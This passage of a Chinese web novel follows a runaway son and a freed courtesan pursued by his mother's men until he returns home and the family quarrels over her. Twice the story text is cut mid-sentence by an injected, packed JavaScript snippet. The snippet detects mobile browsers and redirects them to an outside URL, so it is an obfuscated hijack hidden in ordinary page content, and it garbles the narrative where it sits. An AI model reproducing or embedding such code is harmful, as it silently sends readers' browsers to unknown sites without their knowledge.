肖母心急如焚,瞧见阿成路过,一把将他拉住,声色俱厉地问道:“阿成,少爷呢?你肯定知道他的下落!” 阿成面露难色,嗫嚅着:“老夫人,我……我真不知道公子去了哪里。公子离开时,并未告知我他的去处。” 肖母双眼一瞪,心急之下差点落泪,声音带着哭腔吼道:“你再去香满楼打听打听!无论如何,一定要把少爷给我找回来!只要他肯回来,我什么都不计较了。往后啊,我都听他的,再也不逼他了。”说着,她身子一晃,险些跌倒,“要是他在外面出了事,我也不想活了!” 阿成赶忙扶住肖母,心中满是担忧与无奈,忙不迭应道:“老夫人您先保重身子,阿成立马就去香满楼打听。您放心,阿成就是掘地三尺,也会把公子找回来。” 肖母紧紧抓住阿成的胳膊,眼神中满是期盼:“你快去快回,一定要把少爷平安带回来啊。” 阿成匆匆领命,一路小跑着出了门,朝着香满楼的方向奔去。一路上,他心中暗暗祈祷,希望能在香满楼寻得关于公子的线索,让这场风波尽快平息,让肖家恢复往日的安宁。 阿成一路疾奔,很快就到了香满楼。还未进门,就被门口的小厮拦住。阿成心急如焚,赶忙掏出一锭银子塞给小厮,焦急地说道:“兄弟,我有急事找你们妈妈,劳烦通传一声。” 小厮见钱眼开,眉开眼笑地应道:“哟,行嘞!您稍等。”说罢,转身快步走进楼内。 不多时,鸨母扭动着身子,满脸堆笑地走了出来:“是哪位找老身呀?” 阿成见鸨母出来,赶忙上前,恭敬地说道:“妈妈,我是肖家的阿成。我家少爷之前与您这儿的姑娘玉溪往来密切,如今少爷离家出走,下落不明,老夫人急得不行,想问问您是否知道少爷的去向。” 鸨母一听,脸上的笑容瞬间消失,换上一副警惕的神情:“我哪知道你家少爷去哪了?那玉溪都已经赎身走了,和我这儿再没啥关系。” 阿成见鸨母有意推诿,又掏出几锭银子,递到鸨母手中,赔笑道:“妈妈,您就行行好,您在这风月场这么多年,消息灵通。您要是知道什么,还请务必告知,这银子就当是给您的辛苦费。老夫人说了,只要能找到少爷,必有重谢。” 鸨母掂量着手中的银子,眼神闪烁,思索片刻后说道:“好吧,看在你这么有诚意的份上,老身就跟你说。那玉溪赎身后,和你家少爷一起走了,至于去了哪儿,老身确实不知道。不过,那天听他俩谈话,好像提到要去一个安静的小镇生活。” 阿成一听,心中燃起一丝希望,赶忙追问:“妈妈,您可知道是哪个小镇?” 鸨母摇了摇头:“这我可真不清楚。他们说话的时候也是遮遮掩掩的,老身只听到这么一耳朵。” 阿成谢过鸨母,转身离开香满楼。他一边走一边思索,附近的小镇不少,该从哪里找起呢?但无论如何,既然有了线索,就一定要顺着找下去。 回到肖家,阿成将从鸨母那里打听到的消息如实告知了肖母。肖母听后,沉思片刻,说道:“不管有多少小镇,都派人去找!活要见人,死要见尸!”说罢,她眼中闪过一丝决绝,“阿成,你去安排人手,多带些盘缠,务必把少爷找回来。” 阿成领命而去,迅速安排了几个机灵的家丁,分成几路,朝着附近的各个小镇出发寻找肖晨。而肖母则每日在家中坐立不安,茶饭不思,只盼着能早日传来儿子的消息。 另一边,肖晨和玉溪还不知道肖家这边已经开始了大规模的寻找。他们在小镇上,依旧过着看似平静的生活。只是,两人之间的气氛始终有些微妙,玉溪刻意与肖晨保持着距离,而肖晨心中也满是愧疚,不知该如何面对玉溪。 日子一天天过去,寻找肖晨的家丁们在各个小镇奔波打听,却始终没有得到确切的消息。肖母的焦虑与日俱增,她开始后悔自己当初为何要如此强硬,若不是自己,儿子也不会离家出走,下落不明。 在小镇生活了一段日子,肖晨着实感受到了这份远离家族纷争的自在。他见玉溪虽表面平静,可眼中时常透着一丝落寞,心中不免心疼。 这天,阳光正好,肖晨走到玉溪身边,轻声说道:“玉溪,在这儿也闷了许久,要不要出去走走?四处逛逛,或许你的心情也会好很多。” 玉溪微微一怔,抬眼看向肖晨,犹豫片刻后轻轻点头:“也好。” 两人并肩出了门,沿着小镇的青石路漫步。街边小贩的叫卖声此起彼伏,各种新奇的小物件摆满了摊位。玉溪的目光被一个卖手工绢花的摊子吸引,摊主是个头发花白的老妇人,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993172|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热情地招呼着路人。 肖晨留意到玉溪眼中的喜爱,走上前问老妇人:“婆婆,这绢花怎么卖?”老妇人笑着回答:“一文钱一朵,公子要是多买,算您便宜些。”肖晨掏出几文钱,买了好几朵颜色各异的绢花,递到玉溪面前:“喜欢就拿着,别想太多啦。” 玉溪接过绢花,嘴角微微上扬,露出浅浅的笑容:“谢谢公子。”这是自知晓肖晨已婚之事后,她第一次真心地笑。 他们又走到了小镇的溪边,溪水潺潺流淌,清澈见底。溪边垂柳依依,柳枝随风轻摆。肖晨折下一根柳枝,编成一个小巧的柳环,轻轻放在玉溪头上:“看,多好看。玉溪,你本就该开开心心的。” 玉溪脸颊微微泛红,眼中泪光闪烁,却不是因为悲伤。“公子,这些日子,多谢您的照顾与陪伴。即便只能做朋友,能有这段时光,玉溪也知足了。” 肖晨看着玉溪,心中五味杂陈:“玉溪,是我对不住你。只愿你往后的日子,能一直这样快乐。” 玉溪微微仰头,目光温柔且带着一丝释然,轻声说道:“公子,你没有对不住我。自始至终,你对我已经够好了。若不是你,我如今或许还深陷泥沼,永无出头之日。” 肖晨神色复杂,眼中满是无奈与痛苦,缓缓开口:“我明白你对我的心意,玉溪。只是我……我不能爱任何人。这也是我痛苦的原因。”他望向远方,仿佛陷入了无尽的回忆与挣扎之中。 玉溪心中一颤,她虽早已知晓肖晨已婚的事实,可听到他这般直白地吐露心声,仍不免感到一阵刺痛。“公子,为何不能?难道,是因为家中的夫人?” 肖晨长叹一口气,微微点头:“是,也不是。我与家中那位夫人,不过是家族联姻的牺牲品。这段婚姻,从一开始便不是因为爱情。可既然已成婚,我便不能再对他人付出真心,这是我的责任,也是我的无奈。” 玉溪眼中泪光闪烁,她能感受到肖晨话语中的痛苦与纠结。“公子,我懂了。您无需自责,玉溪不会再让您为难。只是,往后还请允许玉溪以朋友的身份,陪伴在您身边,可好?” 肖晨转头看向玉溪,眼中满是感激:“玉溪,谢谢你的理解。能有你这样一位朋友,是我的幸运。只是,我不想因为我,耽误你寻找自己的幸福。” 玉溪轻轻摇头,微笑着说道:“公子,能与您相识,已是玉溪此生最幸运之事。至于幸福,玉溪会慢慢找寻的。” 肖晨暗自庆幸玉溪能理解,同时又在心底默默感叹自己这难以言说的秘密。他实在无法向玉溪,甚至是任何人说明,自己真正的来历——他来自现代,更惊人的是,其实自己的灵魂是个女孩。 他清楚,一旦说出这个秘密,别说玉溪,恐怕任谁听了都会被吓到。大家肯定会觉得他是个彻头彻尾的神经病,把他当成怪物一般看待。这小镇虽说民风淳朴,但如此离奇荒诞的事,任谁都难以接受。 他只能将这个秘密深埋心底,小心翼翼地维持着现在的生活。有时候,夜深人静,他独自思索,这一切如同一场荒诞却又真实的梦。来到这个陌生的时代,经历了这么多,他已然在努力适应,可这个秘密却像一块沉甸甸的石头,压在他的心头。 他看着眼前的玉溪,心中五味杂陈。一方面,他珍惜与玉溪这份特殊的情谊,想要守护她;另一方面,又因自己隐藏的秘密,觉得对玉溪有所亏欠。但无论如何,他都决定将这个秘密永远藏好,用自己的方式,在这个时代继续生活下去,尽自己所能,护身边人周全。 肖晨望着玉溪,眼中满是痛苦与无奈,声音低沉地说道:“玉溪,如果我只是个普通的男人就好了,没有家族强加的婚姻,不受那些所谓道德规矩的捆绑,这样我就能真正去爱一个人。可如今,我只能在这无形的枷锁中挣扎,这种感觉太痛苦了。” 玉溪看着肖晨,心中满是心疼。她轻轻咬了咬嘴唇,试图寻找安慰他的话语:“公子,这世间诸多无奈,并非您一人如此。虽然您受困于现状,但这也并非您的本意呀。您心地善良,若能摆脱这些束缚,定能自由地去爱。只是当下,还请您别太为难自己。” 肖晨苦笑着摇头:“话虽如此,可又谈何容易。我每日每夜都在想,为何命运要如此捉弄我。一边是无法割舍的责任,一边是对自由爱情的渴望,我就像被架在火上烤,左右为难。” 玉溪缓缓靠近肖晨,轻轻拍了拍他的肩膀:“公子,也许我们无法改变过去,但未来还长。说不定哪天,事情会有转机呢。您且放宽心,无论怎样,玉溪都会在您身边,以朋友的身份陪着您。” 肖晨看着玉溪,心中涌起一股暖流:“玉溪,有你这样的朋友,是我在这痛苦生活中的一丝慰藉。只希望以后,别因为我,耽误了你追求幸福。” 玉溪说到,我会的。两个人谁也没说话,便回到了院子里,肖晨和玉溪依旧在小镇上生活着。白天,肖晨尝试着在小镇上寻找一些营生,他凭借着现代的一些见识,在集市上帮人写写信、算算帐,倒也能挣得些许散碎银两维持生计。玉溪则在家中操持家务,把小院收拾得井井有条。 一天,肖晨像往常一样从集市回来,手中还提着一些玉溪爱吃的点心。刚进院子,就看到玉溪神色慌张地迎了上来。“公子,不好了,我今日去集市买菜,听到有人在打听你的消息,好像是从你家乡来的。” 肖晨心中一紧,手中的点心差点掉落。“你可听清楚他们说了什么?有没有暴露我们的行踪?” 玉溪摇了摇头:“我没敢靠太近,只听到他们在询问有没有见过一个长相俊朗的公子和一个姑娘。不过,看他们的样子,应该还没找到这儿。” 肖晨眉头紧锁,在院子里来回踱步。他知道,肖家终究还是找来了。可他不想回到那个压抑的家,更不想连累玉溪。“玉溪,看来我们不能再在这里待下去了。肖家的人一旦找到这儿,恐怕不会轻易放过我们。你收拾些细软,我们今晚就走。” 玉溪没有丝毫犹豫,转身回屋开始收拾东西。看着玉溪忙碌的身影,肖晨心中满是愧疚。“玉溪,都是我连累了你,让你又要跟着我四处奔波。” 玉溪停下手中的动作,抬头看向肖晨:“公子,您别这么说。能和您一起面对这些,玉溪从未后悔过。而且,只要我们在一起,到哪儿都是家。” 夜晚,月色如水。肖晨和玉溪趁着夜色,悄悄离开了小镇。一路上,两人都沉默不语,各自怀揣着心事。肖晨不知道这一次离开,又将去往何处,也不知道未来还会遇到什么。但他暗暗发誓,无论如何,都要保护好玉溪。 他们沿着小路一直走,也不知走了多久,前方出现了一座大山。山脚下有一座破旧的庙宇,肖晨看着疲惫不堪的玉溪,说道:“玉溪,我们先去那座庙里休息一晚,天亮再赶路吧。” 两人走进庙宇,里面弥漫着一股陈旧的气息。神像已残缺不全,四周布满了蜘蛛网。肖晨找了个相对干净的角落,让玉溪坐下,又去外面捡了些干柴,生起了一堆火。火光映照在两人脸上,忽明忽暗。 玉溪看着肖晨,轻声说道:“公子,你说我们以后该怎么办?” 肖晨望着跳动的火苗,沉思片刻:“玉溪,我也不知道未来会怎样。但只要有我在,就不会让你受苦。或许,我们可以找一个更加偏远的地方,重新开始生活。” 玉溪点了点头,靠在墙上,缓缓闭上了眼睛。肖晨看着玉溪疲惫的面容,心中满是心疼。他轻轻脱下外衣,盖在玉溪身上,自己则守在一旁,警惕地注视着四周。 在这寂静的庙宇中,只有柴火燃烧发出的噼啪声。肖晨望着庙外漆黑的夜色,心中默默祈祷,希望他们能早日找到一个安宁的归宿,摆脱肖家的纠缠,过上平静的生活…… 12. 肖母的疯狂 不知过了多久,玉溪在睡梦中发出了轻轻的呓语,眉头微蹙,似乎正在经历着什么不安的梦境。肖晨凑近她,轻声安抚:“别怕,有我在。”许是听到了他的声音,玉溪的神色逐渐舒缓。 守着火堆,肖晨的思绪却难以平静。他深知,肖家势力庞大,想要彻底摆脱谈何容易。但无论前方有多少艰难险阻,他都决心护玉溪周全。 天渐渐亮了,第一缕阳光透过庙宇破败的屋顶洒下。肖晨轻轻唤醒玉溪:“玉溪,天亮了,我们继续赶路吧。”玉溪缓缓睁开眼睛,看着眼前的肖晨,有那么一瞬间,仿佛忘记了所有的危险与疲惫,心中只有眼前这个让她安心依靠的人。 两人收拾好简单的行囊,走出庙宇。阳光照在身上,却并未驱散他们心中的忧虑。他们沿着山路前行,山路崎岖,周围荒无人烟,偶尔传来几声不知名的鸟叫,更添几分寂静。 走着走着,玉溪突然脚下一滑,险些摔倒。肖晨眼疾手快,一把拉住她,将她稳稳地护在怀里。“小心点,山路不好走。”肖晨关切地说道,目光中满是担忧。玉溪红着脸点了点头,两人之间的气氛在这一瞬间变得有些微妙。 就在这时,远处传来一阵马蹄声。肖晨脸色一变,急忙拉着玉溪躲进路边的草丛。透过草丛的缝隙,他们看到一队人马正沿着山路缓缓而来。为首的正是肖家的管家,他神色严肃,目光警惕地扫视着四周。 “看来他们已经追到这附近了。”肖晨低声说道,心中暗暗叫苦。这队人马装备精良,若是被发现,他们很难逃脱。 待人马远去,肖晨和玉溪才小心翼翼地从草丛中出来。“我们不能再走大路了,得找条小路绕过去。”肖晨说道。于是,两人离开山路,在山林中艰难地穿梭。山林中荆棘丛生,不时划破他们的衣衫,但他们都顾不上这些,只想尽快摆脱肖家的追踪。 经过一番艰难的跋涉,他们终于走出了山林,来到了一个小村庄。村庄不大,却透着一股宁静祥和的气息。村民们看到陌生的肖晨和玉溪,纷纷投来好奇的目光。 肖晨和玉溪找到村长,说明了他们想要在村里借住一段时间的来意。村长是个善良的老人,看着两人疲惫不堪的样子,欣然答应了他们的请求。 在村长的安排下,肖晨和玉溪住进了村头的一间空屋子。屋子虽然简陋,但对于此刻的他们来说,已经是难得的安身之所。 肖晨和玉溪开始在村子里生活下来,他们帮村民们干活,与村民们相处融洽。然而,肖晨知道,这里只是暂时的避风港,肖家的威胁依旧如影随形。在平静的生活背后,他始终保持着警惕,思索着如何彻底摆脱肖家的控制,给玉溪和自己一个真正安稳的未来…… 肖母听闻派出去寻找的人空手而归,未发现肖晨的一丝踪迹,顿时心急如焚,在厅堂里来回踱步,神色愈发阴沉。思索片刻后,她猛地停下脚步,眼神中透着决绝,大声吩咐道:“出去重金悬赏!不管是谁,只要能提供少爷下落的准确消息,赏银千两!若能将少爷毫发无损地带回来,直接赏银万两!” 一旁的管家面露难色,小心翼翼地劝道:“老夫人,如此大张旗鼓地悬赏,会不会……引起不必要的麻烦?万一消息传扬出去,对肖家的名声……” 肖母怒目圆睁,打断管家的话:“都什么时候了,还顾得上什么名声!若是找不回晨儿,我要这名声有何用?你即刻去办,多找些人张贴告示,务必让周围郡县的人都知道!” 管家不敢再多言,赶忙应下,匆匆退出去安排此事。很快,城里大街小巷都贴上了悬赏告示,上面详细描绘了肖晨的模样,以及令人咋舌的赏银数额。过往行人纷纷驻足观看,一时间,肖家少爷离家出走,肖母重金悬赏的消息迅速传开,成了街头巷尾热议的话题。 而此时在小村庄里的肖晨和玉溪,浑然不知外面发生的一切。他们依旧过着帮村民劳作的简单生活。这天,肖晨像往常一样在田间帮忙耕地,一位村民匆匆跑来,神色慌张地说道:“肖公子,不好了!村里来了几个陌生人,四处打听你的消息,看着不像是好人呐!” 肖晨心中一凛,手上的动作顿住。他来不及多想,谢过村民后,立刻放下农具,朝他们居住的屋子奔去。一路上,他心急如焚,满脑子都是玉溪的安危。 回到家中,肖晨一把拉住正在屋内收拾东西的玉溪,急促地说道:“玉溪,情况不妙,村里来了陌生人打听我的消息,估计是肖家的人追来了。我们得马上离开。”玉溪脸色瞬间变得煞白,但她很快镇定下来,迅速将仅有的一些细软打包。 两人刚出屋子,就看到几个神情凶悍的大汉朝着他们的方向走来。肖晨低声对玉溪说:“别慌,跟紧我。”说着,他带着玉溪从屋子的后门出去,绕到屋后的一片树林。 大汉们察觉到动静,紧追不舍。肖晨和玉溪在树林中拼命奔跑,树枝划破了他们的皮肤,可他们顾不上疼痛。跑着跑着,前方出现了一条湍急的河流。此时,身后的大汉们已经追了上来,将他们团团围住。 为首的大汉冷笑一声:“哼,看你们还往哪儿跑!乖乖跟我们回去,还能少受点皮肉之苦。”肖晨将玉溪护在身后,怒视着对方:“你们休想得逞!我是不会跟你们回去的。” 就在双方僵持不下时,突然听到不远处传来一阵嘈杂的呼喊声。原来是村里的村民们拿着锄头、棍棒等工具赶来。村长站在最前面,大声喝道:“你们是什么人?竟敢在我们村子里撒野!” 那大汉不屑地瞥了村长一眼:“老东西,这事儿和你们无关,识相的就赶紧走开,别给自己找麻烦。”村长毫不畏惧,向前走了几步:“这是我们的村子,容不得你们胡来。他们在我们村子住了这么久,就是我们的朋友,你们要带人走,先问问我们手里的家伙同不同意!” 村民们纷纷响应,举起手中的农具,摆出一副要拼命的架势。大汉们见势不妙,有些犹豫起来。为首的大汉恶狠狠地瞪了肖晨一眼:“算你们运气好,今天暂且放过你们。但你们别以为能逃得了,我们还会再来的!”说罢,带着手下灰溜溜地走了。 肖晨和玉溪感激地看着村长和村民们。肖晨对着大家深深鞠了一躬:“多谢各位乡亲出手相助,不然我们今天可就危险了。只是,肖家肯定不会善罢甘休,我们留在这里只会给村子带来麻烦。我们必须得走了。” 村长叹了口气,拍了拍肖晨的肩膀:“孩子,我们也知道留不住你们。这一路你们要多加小心啊。”玉溪眼中含泪,向村民们一一告别。 离开村子后,肖晨和玉溪踏上了更加艰难的逃亡之路。他们不知道下一个落脚点在哪里,也不知道肖家的人何时又会追上来。但他们彼此相伴,心中都怀揣着对自由生活的渴望,一步一步坚定地向前走去,哪怕未来充满了未知与危险…… 一路马不停蹄地逃跑,肖晨的脚步渐渐沉重,面容满是疲惫之色。他转头看向身旁同样狼狈却始终坚定相随的玉溪,心中一阵揪痛,缓缓说道:“玉溪,你走吧。他们一心找的人是我,跟着我,你只会不断吃苦受累,未来的路还不知有多艰险。” 玉溪听闻,眼中满是不可置信,仿佛肖晨说出的是世上最荒谬的话。她眼眶瞬间泛红,声音微微颤抖:“公子,您怎能说出这样的话?从您将我救出苦海那一刻起,玉溪就已下定决心,无论生死祸福,都要与您相伴。这些日子的逃亡虽苦,可只要能在您身边,玉溪从未觉得辛苦。” 肖晨看着玉溪,心中五味杂陈,既为她的深情所感动,又因可能带给她的危险而自责。“玉溪,我不想因为我,让你陷入无尽的困境。肖家势力庞大,他们不会轻易放过我,跟着我,你随时可能有生命危险。” 玉溪走上前,紧紧抓住肖晨的衣袖,眼神无比坚定:“公子,生死我都不怕,又怎会惧这区区危险?您若再赶我走,倒显得是玉溪贪生怕死之辈。只要能与公子共患难,便是死,玉溪也毫无怨言。” 肖晨望着玉溪,一时语塞。他深知玉溪性格执拗,一旦认定的事便不会轻易改变。沉默良久,他轻轻叹了口气,伸手为玉溪捋了捋被风吹乱的发丝,“既然如此,那往后无论发生何事,我们都一同面对。只是苦了你,要跟着我四处漂泊。” 玉溪破涕为笑,用力点头,“只要能和公子在一起,再苦的漂泊玉溪也甘之如饴。”两人相视,目光交汇间,似有一股无形的力量,将彼此的心紧紧相连,在这前途未卜的逃亡之路上,给予他们继续前行的勇气与信念。 没有了村民的庇佑,肖晨和玉溪仿佛置身于狂风暴雨中的孤舟,很快,他们的踪迹就被肖家派出的人找到了。 那是一个阴沉的午后,铅灰色的云层沉甸甸地压在天际。肖晨和玉溪正在一处偏僻的山谷中稍作休息,四周静谧得有些诡异。突然,一阵杂乱的脚步声打破了这份宁静,一群身着黑衣的人如鬼魅般从山谷两侧涌出,将他们团团围住。 肖晨脸色骤变,迅速将玉溪护在身后,警惕地盯着眼前这群不速之客。为首的黑衣人面容冷峻,目光如鹰般犀利,他冷冷地开口:“肖公子,可算找到你了,老夫人盼你回去,别再做无谓的挣扎。” 肖晨冷哼一声,毫不畏惧地回怼:“回去?回那个毫无自由、任人摆布的家?你们休想!”黑衣人眉头一皱,眼中闪过一丝不悦:“肖公子,别敬酒不吃吃罚酒,老夫人已经下了死命令,今日必须带你回去。” 话音刚落,黑衣人一挥手,手下众人便如饿狼般扑了上来。肖晨虽毫无惧色,但终究寡不敌众,很快便陷入了苦战。玉溪在一旁心急如焚,她四处张望,试图寻找可以帮助肖晨的办法。 就在肖晨渐渐体力不支之时,玉溪发现不远处有一块尖锐的石头。她咬咬牙,不顾危险地冲过去,抄起石头,朝着离肖晨最近的黑衣人砸去。这突如其来的一击,让黑衣人措手不及,顿时阵脚大乱。 然而,这也彻底激怒了对方。黑衣人首领怒目圆睁,吼道:“连这女人一起抓!”局势愈发危急,肖晨和玉溪背靠背站着,彼此的眼神中却没有丝毫退缩,他们紧紧相依,准备迎接这场生死之战,哪怕胜算渺茫,也绝不轻易放弃…… 肖晨一边奋力抵挡着黑衣人的攻击,一边大声喊道:“你们放了她,我跟你们回去!”他深知,凭借他们两人之力,今日恐难突出重围,若能以自己回去为条件,换得玉溪平安,也算值得。 黑衣人首领听闻,微微一愣,随即冷笑起来:“肖公子,你觉得我们会答应吗?这女人与你一起出逃,指不定知道多少肖家机密,岂能轻易放过。”说罢,他一挥手,示意手下加大攻势。 肖晨心急如焚,拼尽全力护着玉溪,身上却还是被利刃划伤了几处。玉溪看着肖晨受伤,泪水夺眶而出:“公子,玉溪死也不会离开您,要走一起走,要死一起死!” “不行!”肖晨大喊,“玉溪,你不该卷进这一切,你值得好好活下去。”此时,黑衣人攻势愈发猛烈,肖晨和玉溪渐渐支撑不住。 就在这千钧一发之际,远方突然传来一阵急促的马蹄声。众人转头望去,只见尘土飞扬,一队官兵疾驰而来。原来是当地县令听闻此处有打斗声,担心发生事端,便派人前来查看。 黑衣人首领脸色一变,低声咒骂道:“该死!”他深知官兵介入,事情会变得棘手,当下也顾不得抓捕肖晨二人,大手一挥:“撤!”黑衣人如同潮水般迅速退去。 肖晨和玉溪劫后余生,瘫倒在地。官兵赶到后,见两人受伤,赶忙将他们扶起。在官兵的帮助下,肖晨和玉溪被带到了附近的城镇医治。经过一番调养,两人伤势逐渐好转。 肖母听闻儿子下落的消息,一刻都不敢耽搁,心急火燎地赶了过来。当她终于在客栈房间里看到肖晨时,眼眶瞬间红了,泪水在眼眶里打转。 肖晨看到母亲,神色复杂,还未等肖母开口,便抢先说道:“母亲,您要是想让我就这么跟您回去,那还是算了吧。” 肖母脚步一顿,眼中满是哀求,几步走到肖晨面前,伸手想要拉住他的手,声音带着哭腔说道:“儿子,你跟母亲回去吧。以后你说什么母亲都听,再也不强迫你做任何事了。母亲不能没有你啊,这些日子找不到你,母亲度日如年。” 肖晨微微别过头,避开母亲的目光,心中五味杂陈。“母亲,您知道我为何要离开。在那个家里,我没有自由,连自己的感情都无法主宰。” 肖母连连点头,满脸懊悔:“母亲知道错了,以前是母亲糊涂,只想着家族的颜面,没考虑你的感受。这次你跟母亲回去,母亲一定改。”说着,她看向站在一旁的玉溪,眼中闪过一丝复杂的神色,但很快又换上了温和的表情,“这位姑娘,之前是老身对不住你,若你愿意,也可跟我们一同回肖家,老身定会好好待你。” 玉溪微微一愣,下意识地看向肖晨。肖晨眉头微皱,他深知母亲此举不过是权宜之计,回到肖家,诸多规矩礼教依旧会成为他和玉溪之间的阻碍。“母亲,事情没那么简单。就算您现在答应,回到肖家,一切恐怕又会回到从前。” 肖母扑通一声跪在肖晨面前,泣不成声:“儿子,母亲对天发誓,若有违背今日所言,天打雷劈。你就可怜可怜母亲,跟母亲回去吧。” 肖晨见状,心中一阵刺痛,赶忙扶起母亲:“母亲,您这是做什么。”看着母亲如此模样,肖晨心中的坚冰开始有些松动,可他又实在放心不下玉溪,也担心回去后重陷牢笼。一时间,他陷入了两难的抉择,不知该何去何从…… 肖母泪流满面,紧紧拉住肖晨的手,悲切地说道:“儿子,你这一走,可把我们的心都掏空了。你想过我们怎么办吗?你的妻子每日以泪洗面,茶饭不思,她是无辜的呀。” 肖晨心中一滞,妻子的面容在脑海中一闪而过,心中不禁泛起一丝愧疚。但想到过往那些压抑的日子,他还是咬了咬牙,说道:“母亲,我可以跟您回去,但是您得跟我保证,不能再看不起我的朋友,尤其是玉溪。她于我有恩,若没有她,您恐怕再也见不到儿子了。” 肖母赶忙点头,忙不迭地应道:“行,儿子,母亲答应你。只要你肯回来,母亲绝不再为难这位姑娘,定会把她当成上宾对待。” 肖晨转头看向玉溪,眼中满是担忧与询问。玉溪微微颔首,轻声说道:“公子,若您决定回去,玉溪自当支持。只是往后,您万事都要小心。” 肖晨凝视着玉溪,认真地说:“玉溪,你放心。若母亲食言,我定会护你周全。”随后,他又看向肖母,严肃地重复:“母亲,您记住今日所言,莫要让儿子失望。” 肖母连连称是,生怕肖晨反悔。就这样,肖晨在历经波折后,决定跟随母亲回到肖家。一路上,肖晨的心情无比沉重,他不知道等待自己和玉溪的将会是什么,只暗暗握紧了拳头,下定决心,无论如何,都要守护住自己在意的人,守护那份来之不易的自由与情谊…… 一行人踏上归程,一路风尘仆仆。回府的路途漫长而颠簸,肖晨在连日的奔波与精神折磨下,身体和心灵都疲惫不堪。而玉溪始终不离不弃地守在他身边,悉心照料。 马车在崎岖的道路上摇晃前行,肖晨靠在车厢壁上,双眼紧闭,面色略显苍白。玉溪心疼地看着他,不时伸手为他掖好滑落的毯子,又倒了些水,轻声呼唤:“公子,喝点水吧。”肖晨缓缓睁开眼睛,接过水杯,微微抿了几口,干裂的嘴唇才稍显润泽,他低声说道:“玉溪,辛苦你了。”玉溪温柔地摇摇头,眼中满是关切:“公子别这么说,您好好休息便是。” 夜晚投宿客栈时,玉溪细心地为肖晨打来热水,让他洗漱解乏。待肖晨躺下后,她也不敢睡熟,只要肖晨稍有动静,便立刻起身查看。就这样,在玉溪无微不至的照顾下,肖晨的精神逐渐好了起来。 终于,一行人抵达了肖家府邸。朱红色的大门庄重而威严,肖晨望着这熟悉又压抑的地方,心中五味杂陈。肖母率先走进府中,肖晨深吸一口气,与玉溪并肩踏入。 府里的下人们见少爷归来,纷纷围上来行礼。肖晨的妻子李傲雪也匆匆赶来,看到肖晨的那一刻,泪水夺眶而出:“少爷,您可算回来了。”肖晨看着她,心中既有愧疚又有疏离,只是淡淡地应了一声。 肖母转身看向玉溪,脸上挤出一丝笑容:“姑娘,这一路辛苦你照顾晨儿了。往后啊,你就安心在府里住下。”玉溪微微福身,轻声说道:“多谢老夫人。”然而,玉溪心中明白,这肖府看似平静,实则暗流涌动,自己与肖晨的未来,依旧充满了未知与挑战…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993173|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李傲雪目光落在玉溪身上,眼中闪过一丝诧异与打量,轻声问道:“少爷,这位姑娘是?” 肖晨坦然迎上李傲雪的目光,说道:“这是我从香满楼赎身出来的姑娘,叫玉溪。她是我的好朋友,在我离家这段日子,多亏有她相伴照顾。” 李傲雪微微点头,嘴角勉强扯出一抹微笑,“原来如此,辛苦玉姑娘了。既是少爷的朋友,往后在府里但有什么需求,尽管开口便是。”话虽如此,可她心中难免泛起一丝复杂情绪,毕竟自家相公从青楼赎出女子,还这般袒护,任谁心里都不会毫无波澜。 玉溪感受到李傲雪目光中的审视,心中一紧,忙福身行礼:“多谢少夫人,玉溪不过做了些力所能及之事。在这府中,若有叨扰之处,还望少夫人海涵。” 肖晨看着两人,心中有些无奈,他深知这局面尴尬,却又不知如何化解。“傲雪,玉溪心地善良,你二人往后还望能和睦相处。” 李傲雪垂眸,掩去眼中情绪,乖巧应道:“少爷放心,傲雪理会得。”只是那笑容未达眼底,而玉溪心中也隐隐担忧,不知在这肖府,自己与肖晨的平静日子还能维持多久。 肖母见儿子已然归来,脸上闪过一丝如释重负的神情,旋即脸色一沉,吩咐下人将大门关上。她缓缓转过身,目光落在肖晨身上,语气不容置疑:“儿子,你回来了就不要再出去了。家里有诸多事务等着你打理,你也该收收心了。” 肖晨心中一紧,预感不妙,还未等他开口,肖母又将目光移向玉溪,眼神中满是嫌弃与排斥:“至于这位姑娘,可不能留在我们家里。我们肖家是有头有脸的人家,怎能容一个从青楼出来的女子住下,传出去还不知被人怎样诟病。” 肖晨急忙上前一步,挡在玉溪身前,着急地说道:“母亲,您怎能如此?当初您可是答应了我,不会为难玉溪。她对我有恩,在外面若不是她照顾我,我怎能平安回来。” 肖母眉头紧皱,提高了音量:“我那是为了劝你回来才暂且答应。如今你既已回府,就该守肖家的规矩。一个青楼女子,终究登不得大雅之堂,留在府中只会败坏门风。” 玉溪心中一阵刺痛,她咬了咬嘴唇,眼眶泛红,轻声说道:“公子,老夫人说得对,玉溪本就不该留在此处。玉溪这就走,不连累您和肖家。”说罢,转身便要离去。 肖晨一把拉住玉溪,看向肖母,眼神坚定:“母亲,若您执意要赶玉溪走,儿子也绝不留下。大不了,儿子再与玉溪离开这肖家。” 肖母气得浑身发抖,手指着肖晨,声音颤抖地说:“你……你竟然为了一个青楼女子,如此忤逆我!你眼里还有没有我这个母亲,还有没有肖家?” 李傲雪在一旁看着这剑拔弩张的场面,心中纠结万分。她既不想丈夫因为这个女子再次离家,又觉得婆婆此举似乎有些不近人情。犹豫片刻后,她上前轻声劝道:“婆婆,少爷刚回来,一家人好不容易团聚,莫要为了此事伤了和气。依儿媳看,不如先让玉姑娘留下,权当是报答她对少爷的救命之恩,日后再做打算,您看如何?” 